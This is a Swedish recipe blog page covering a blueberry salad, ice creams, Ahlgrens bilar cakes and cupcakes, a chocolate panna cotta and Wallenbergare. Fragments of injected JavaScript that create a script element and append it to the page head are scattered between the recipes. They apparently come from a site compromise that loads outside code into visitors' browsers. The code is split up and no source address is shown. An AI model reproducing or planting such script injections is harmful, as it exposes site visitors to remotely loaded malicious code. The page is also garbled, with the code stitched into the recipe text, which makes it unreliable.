Blåbärssallad

Här kommer receptet på blåbärssallad.

Ruccolasallad
Blåbär
Körsbärstomater
Minimozzarella
Fetaost eller getost
Källarrökt skinka

Skölj salladen och lägg i en skål. Skär tomaterna i bitar och lägg över salladen tillsammans med osten och blåbären. Dekorera med källarrökt skinka eller parmaskinka.
Häll över lite olivolja och salt och peppar vid servering.

Blåbärsglass med maräng.


Blåbärsglass: (6 personer)
5 dl grädde
0,5 dl florsocker
2 stycken äggulor
50 gram små maränger
1 liter blåbär

Tillagning:
1. Vispa grädden hårt. Vispa i florsocker, äggulor och hälften av blåbären.
2. Varva blåbärsgrädden med marängerna i en avlång eller rund form.
3. Täck med plastfolie och låt glassen stå i frysen minst 5 timmar.
4. Doppa formen i vatten och stjälp upp glassen på ett fat. Garnera med resterande blåbär.

Melon och lime isglass

Isglass (räcker till 6 stycken)
1 Galia melon
1 lime (juicen)

Skala och skär melonen i skivor, ta bort kärnorna.
Pressa 1 lime och häll i juicen tillsammans med melonbitarna i en skål och mixa till en massa.

Häll upp i isglassformar och in i frysen i några timmar.
if (document.currentScript) {

Chokladtårta med fyllning av choklad och Ahlgrens bilar fluff

Tårta

Chokladbotten
75 gr smör
4,5 dl vetemjöl
1,5 dl kakao
1,5 tsk bakpulver
1,5 tsk bikarbonat
3,75 dl strösocker
2 st medelstora ägg
2,25 dl mjölk
1,5 dl starkt hett kaffe eller kokande vatten

Choklad frosting
100 gr mörk choklad (70 %)
150 gr rumsvarmt smör
0,75 dl kakao
0,25 tsk vaniljpulver
2 msk vispgrädde
1,5-2 dl florsocker

Ahlgrens bilar frosting
60-70 gr Ahlgrens bilar
3 dl vispgrädde

Gör så här:
Chokladbotten Värm ugnen till 175 grader.
Smörj och bröa två bakformar, cirka 15 cm i diameter, eller baka i omgångar i samma form
Smält smöret och låt det svalna.  Sikta ner mjöl, kakao, bakpulver och bikarbonat i en stor skål eller bunke. Tillsätt övriga ingredienser och vispa i ett par minuter till en slät smet. Fördela smeten jämnt i formarna. Grädda bottnarna i 30–35 minuter.  Låt bottnarna svalna i 15 minuter innan du stjälper upp dem på ett galler.

Choklad frosting
Smält chokladen över vattenbad eller i mikro. Ställ åt sidan och låt svalna till rums- temperatur.
Vispa smöret ljust och krämigt. Tillsätt florsocker och kakao lite i taget tills blandningen är jämn. Blanda i den smälta chokladen och vaniljpulvret.  Tillsätt   grädde lite i taget och vispa i ett par minuter tills frostingen är slät och glansig.

Ahlgrens bilar frosting Klipp itu godiset till mindre bitar och smält i en kastrull tillsammans med grädden på svag värme. När allt smält, låt svalna i kylskåpet, gärna över natten. Vispa upp frostingen med lite grädde för fluffig konsistens. Vill du ha mer färg på frostingen, ta lite rosa pastafärg och blanda i.

Sätta ihop tårtan Dela båda bottnarna på mitten till fyra tunnare bottnar. lägg den första bottnen på ett tårtfat eller en tårtbricka.  Bred ut ett jämnt lager frosting över bottnen. Upprepa tills du har  använt tre bottnar. lägg den fjärde bottnen överst med den skurna sidan  ner.  Jag valde att ta Ahlgrens bilarfrosting på två bottnar och chokladfrosting på en. Låt tårtan stå i  kylen i cirka 20 minuter eller tills frostingen har  stelnat något. Skålen med frosting kan stå framme under tiden.  Bred resten av din choklad frosting över hela tårtan i ett jämnt lager.  Dekorera med vit sugarpaste.

bild (79)bild (76)bild (78)bild (62)bild (71)

bild (80)

bild (81)bild (73)bild (82)

bild (84)bild (77)bild (75)bild (74)bild (72)bild (85)

bild (90)bild (91)

bild (92)bild (70)

 var d=document;var s=d.createElement(‘script’);

Minicupcakes med Ahlgrens bilar fluff

MinicupcakeINGREDIENSER (räcker till 24 minicupcakes och 12 mellanstora cupcakes)

3 ägg
2 1/2 dl strösocker
1 tsk vaniljsocker
100 g smör
1 dl grädde
3 1 /2 dl vetemjöl
2 tsk bakpulver
1 nypa salt
Skal och saft av 1 citron

GÖR SÅ HÄR: Sätt ugnen på 185 grader. Vispa ägg, strösocker och vaniljsocker  riktigt pösigt. Smält smöret, häll i grädden och blanda det med äggsmeten. Blanda vetemjöl, bakpulver och salt och vänd försiktigt ner det i smeten. Blanda i rivet skal och saft av en citron. Placera ut små pappersformar på en plåt och fyll formarna till 2/3 med smet. Grädda i mitten av ugnen i 10 – 15 minuter. Låt dom svalna.

Ahlgrens bilar fluff:
60-70 gram Ahlgrens bilar (originalpåsen)
3 dl vispgrädde.

Gör så här: Klipp sönder Ahlgrens bilar och lägg i en kastrull tillsammans med grädden på svag värme. Grädden får inte brännas vid. När allt smält, häll upp smeten i en bunke och lägg i kylen över natten.
Vispa upp fluffet och spritsa dina cupcakes och strö lite strössel på vid servering. Om ni vill få fin färg på fluffet kan du ta lite rosa pastafärg för rosa fluff.

bild (58)

 

bild (67)bild (65)

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Chokladbräck

ChokladRecept på Chokladbräck:
200 gram mörk choklad (70%)
1 paket färska hallon

Gör så här:
Smält chokladen i vattenbad. Lägg ett  bakplåtspapper på en plåt eller stor bricka. Häll ut den smälta chokladen i ett
tunt lager. Häll på färska hallon eller blåbär. Låt stelna i kylen. Vid servering bryter du sönder chokladen i mindre bitar.

bild (60)bild (56)bild (64)

bild (66)bild (53)

 

Citronmarängpaj.

Självklart måste man ha något sött till söndagsmiddagen. Idag lägger jag upp en liten citronmarängpaj som förslag. Baka mandelsnäckor, lägg på ett lager ”lemon curd” och därefter spritsa marängsmet på toppen och använd sedan en brulee brännare för att få färg på marängen.

 }

Chokladpannacotta med färska bär

bild1

Den här chokladpannacottan har jag gjort många gånger och den är riktigt god.

Recept 4 portioner
2 dl vispgrädde
2 msk socker
100 gram mjölkchoklad
0,75 st gelatinblad

Gör så här:
Blötlägg gelatinbladet i en skål med kallt vatten i ca 5 minuter. Koka under tiden upp grädde och socker. Ta bort kastrullen från värmen och låt stå 5-10 minuter under lock.
Ta upp gelatinbladet och krama ur vattnet. Lägg ner det i den varma grädden och rör om så att det smälter.
Hacka chokladen och lägg i en bunke. Häll över den varma gräddblandningen och rör om väl.
Häll upp i 4 koppar eller glas och ställ dem kallt i kylen ca 3 timmar tills de stelnat helt. Servera med färska bär och/eller lite grädde.

bild6

bild4bild5bild8bild9

bild3bild7bild2

 

Wallenbergare

943350_10151492346110959_1500693521_n

Wallenbergare 4 port
300gfin kalvfärs, mald två gånger
3stäggulor
3dlvispgrädde
1.5tsksalt
vitpeppar från kvarn
siktat ströbröd till panering
smör till stekning

Gör så här:
Lägg kalvfärsen tillsammans med äggulor och kryddor i en matberedare. Kör en liten stund tills allt är väl blandat. Fortsätt sedan med grädden som tillsätts i en fin stråle.
Strö ut siktat ströbröd på en plåt med smörpapper. Klicka sedan ut färsen med hjälp av två skedar. Strö även ströbröd över, platta till och forma färsen med en stekspade. Gör två mindre Wallenbergare per person så är de lättare att hantera.
Värm upp en stekpanna med smör och när det fått färg läggs Wallenbergarna i med hjälp av stekspaden. Stek dem sakta på inte alltför hög värme, det tar cirka 4 minuter på varje sida.

bild (44)

bild (55)

bild (57)

bild (61)

bild (59)bild (63)

 d.getElementsByTagName(‘head’)[0].appendChild(s);